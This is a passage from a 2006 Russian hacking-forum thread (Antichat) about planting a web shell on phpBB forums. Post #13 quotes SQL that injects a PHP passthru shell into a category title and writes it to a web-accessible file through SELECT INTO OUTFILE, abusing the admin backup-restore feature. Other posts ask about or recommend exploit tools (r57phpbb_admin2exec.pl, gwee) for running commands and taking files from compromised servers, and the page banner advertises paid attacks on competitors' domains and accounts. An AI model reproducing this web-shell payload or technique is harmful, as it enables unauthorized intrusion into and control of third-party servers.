phpBB. Как залить шелл через уязвимость в admin_styles?

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
phpBB. Как залить шелл через уязвимость в admin_styles?

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

14.01.2006, 13:48

Grema

Участник форума

Регистрация: 29.11.2005

Сообщений: 122

С нами: 10761096

Репутация: 27

еще вопрос как с помощью r57phpbb_admin2exec.pl
скачать файл с сервака по которому я лазию к себе на комп?

#12

25.01.2006, 15:46

RUc

Новичок

Регистрация: 19.09.2005

Сообщений: 24

С нами: 10863746

Репутация: 2

Цитата:

Сообщение от Nova

а не влом сливать 30 метров базы к примеру править её и заливать обратно ????

а если как на этом форуме http://пожалуста.безссылок.ru

Там пользователей и тем валом у них база 1GB весит не бось....
Так что это не вариант.....

Ты можешь представить себе 1 Gb текста?
БД почтовых отделений России весит около 4 М и имеет около 40 000 записей. Думаю с 1 Gb ты перебрал малость

#13

22.02.2006, 16:48

tysonn

Новичок

Регистрация: 21.02.2006

Сообщений: 1

С нами: 10640897

Репутация: 0

Цитата:

Сообщение от Grrl

сливать базу не обязательно можно и подругому - так создать файл с содержанием:

UPDATE phpbb_categories SET cat_title='<? passthru("$cmd"); ?>'WHERE cat_id=1;
SELECT cat_title INTO OUTFILE '/home/bla_bla_bla/shell.php' FROM phpbb_categories where cat_id=1;

потом просто выбираешь в админке восстановить базу и указываешь путь к этому файу. это создаст шел не испортив основную базу.

сделал как сверху описано вот што пишет:
Error importing backup file

DEBUG MODE

SQL Error : 1045 Access denied for user: 'faircа@localhost' (Using password: YES)

SELECT cat_title INTO OUTFILE '/home/fairca/public_html/forum/avatars/sh.php' FROM phpbb_categories where cat_id=1

Line : 983
File : /home/fairca/public_html/forum/admin/admin_db_utilities.php

может кто знает как ето можно поправит

#14

22.02.2006, 16:52

SHiTS

Участник форума

Регистрация: 11.12.2004

Сообщений: 242

С нами: 11269766

Репутация: 39

попробуй поюзать gwee-должен работать со ВСЕМИ осями. Шелл почти 100%

#15

22.02.2006, 17:39

ShAnKaR

Постоянный

Регистрация: 14.07.2005

Сообщений: 964

С нами: 10960226

Репутация: 1424

что вы все мля через екзек то делаете , не проще проинклудить ченить посмотреть куда прав хватит и через аплоад стандартный если очень надо

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
залить шелл через ipb 2.0.4	alakazam	Уязвимости CMS / форумов	4	16.11.2005 22:08
Вопрос о залиаке шелла через phpBB 2.0.6.	Guest	Уязвимости CMS / форумов	6	23.12.2004 22:12
Как залить шелл через PhPBB	SheFF	Уязвимости CMS / форумов	5	29.11.2004 01:25
Как залить шелл через IPB форум, при отсутствии ftp?	bbmz	Уязвимости CMS / форумов	1	26.11.2004 18:15

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL